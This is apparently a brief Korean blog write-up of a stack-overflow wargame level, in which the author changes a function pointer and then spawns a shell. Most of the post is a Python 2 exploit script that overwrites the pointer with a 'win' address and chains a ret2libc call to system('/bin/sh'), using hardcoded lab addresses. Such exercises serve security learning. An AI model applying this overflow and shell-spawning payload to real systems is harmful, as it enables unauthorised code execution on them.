이번엔 함수포인터를 바꿔주랍니다.



바꿔줍시다.



#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: unpack("<L",x)[0]

system = 0xb7ecffb0
binsh = 0xb7fb63bf
win = 0x8048424

payload = 'A'*64
payload += p(win)
payload += 'A'*12
payload += p(system)
payload += 'AAAA'
payload += p(binsh)

print payload

stack3.py



쉘도 따줍시다.



+ Recent posts